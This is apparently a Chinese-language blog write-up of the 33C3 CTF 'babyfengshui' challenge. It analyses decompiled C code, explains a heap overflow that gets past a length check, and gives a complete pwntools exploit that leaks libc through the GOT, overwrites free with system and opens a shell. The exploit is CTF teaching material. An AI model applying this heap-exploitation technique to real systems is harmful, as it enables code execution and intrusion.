33C3 CTF babyfengshui writeup 发表于 2016-12-31 | 分类于 漏洞利用 | 暂无评论 # 1. 漏洞分析 程序开启了DEP,主要包含四个功能: 1. 添加用户 2. 删除用户 3. 显示用户 4. 更新用户 User结构体为 ```c struct User { char *description; //大小由自己定义 char name[124]; }; ``` 添加用户的代码为 ```c User *__cdecl add_user(size_t size) { int v1; // ST2C_4@1 void *description; // ST24_4@1 User *user; // ST28_4@1 User *result; // eax@1 int v5; // ecx@1 v1 = *MK_FP(__GS__, 20); description = malloc(size); memset(description, 0, size); user = malloc(128u); memset(user, 0, 128u); user->description = description; *(&users + user_count) = user; printf("name: "); input_name(*(&users + user_count) + 4, 124); update_user(++user_count - 1); result = user; v5 = *MK_FP(__GS__, 20) ^ v1; return result; } ``` 漏洞点是在更新用户时 ```c int __cdecl update_user(unsigned __int8 index) { char v2; // [sp+17h] [bp-11h]@3 int len; // [sp+18h] [bp-10h]@3 int v4; // [sp+1Ch] [bp-Ch]@1 v4 = *MK_FP(__GS__, 20); if ( index < user_count && *(&users + index) ) { len = 0; printf("text length: "); __isoc99_scanf("%u%c", &len, &v2); // 防止堆溢出 if ( (len + **(&users + index)) >= *(&users + index) - 4 ) { puts("my l33t defenses cannot be fooled, cya!"); exit(1); } printf("text: "); input_name(**(&users + index), len + 1); } return *MK_FP(__GS__, 20) ^ v4; } ``` 当更新description时可以改变长度,但校验了长度`&description + len < &user - 4`来防止堆溢出,可是仔细思考会发现这里还是能够产生堆溢出。 # 2. 漏洞利用 ## 2.1 添加2个用户 这时的堆布局大概如下 ![图片.png-2.1kB][1] ## 2.2 删除第1个用户并添加用户 这一步添加用户时的description大小为第一个用户的description和User结构体的大小总和,完成后的堆布局大概如下 ![图片.png-1.8kB][2] ## 2.3 更新第3个用户 这时修改第3个用户的description大小就能够产生堆溢出修改第2个用户的数据,并且满足`&description + len < &user - 4` ## 2.4 get shell 把第2个用户中的description地址改成got表的地址就可以泄露libc地址绕过ASLR,再修改got表get shell ![image_1b7la5c2nudq1h5p1q9i1t5l3n19.png-160.5kB][3] # 3. EXP ```python from pwn import * LOCAL = 1 DEBUG = 0 if DEBUG: context.log_level = 'debug' if LOCAL: io = process('./babyfengshui') libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: io = remote('78.46.224.83', 1456) libc = ELF('./libc-2.19.so') def add_user(size, name, len, text): global io io.recvuntil('Action: ') io.sendline('0') io.recvuntil('size of description: ') io.sendline(size) io.recvuntil('name: ') io.sendline(name) io.recvuntil('text length: ') io.sendline(len) io.recvuntil('text: ') io.sendline(text) def delete_user(index): global io io.recvuntil('Action: ') io.sendline('1') io.recvuntil('index: ') io.sendline(index) def display_user(index): global io io.recvuntil('Action: ') io.sendline('2') io.recvuntil('index: ') io.sendline(index) def update_user(index, len, text): global io io.recvuntil('Action: ') io.sendline('3') io.recvuntil('index: ') io.sendline(index) io.recvuntil('text length: ') io.sendline(len) io.recvuntil('text: ') io.sendline(text) elf = ELF('./babyfengshui') add_user('128', 'bird', '2', '1') add_user('128', 'bird', '2', '1') payload = '/bin/sh\x00' add_user('128', 'bird', str(len(payload)), payload) delete_user('0') text_len = 0xc1b0 - 0xc008 payload = 'A' * (0xc1a0 - 0xc008) + p32(elf.got['free']) payload = payload.ljust(text_len, 'A') add_user('256', 'bird', str(text_len), payload) display_user('1') io.recvuntil('description: ') free_addr = u32(io.recvn(4)) system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system']) log.info('system_addr=%#x' % system_addr) text_len = 8 payload = p32(system_addr) payload = payload.ljust(text_len, 'A') update_user('1', str(text_len), payload) delete_user('2') io.interactive() ``` [1]: http://static.zybuluo.com/birdg0/hp7aj9a6xr3wvrz71im69vld/%E5%9B%BE%E7%89%87.png [2]: http://static.zybuluo.com/birdg0/s3sxe9uy06f2bcukci8g3v5r/%E5%9B%BE%E7%89%87.png [3]: http://static.zybuluo.com/birdg0/85scmgiab1pomm6gcpljjkp4/image_1b7la5c2nudq1h5p1q9i1t5l3n19.png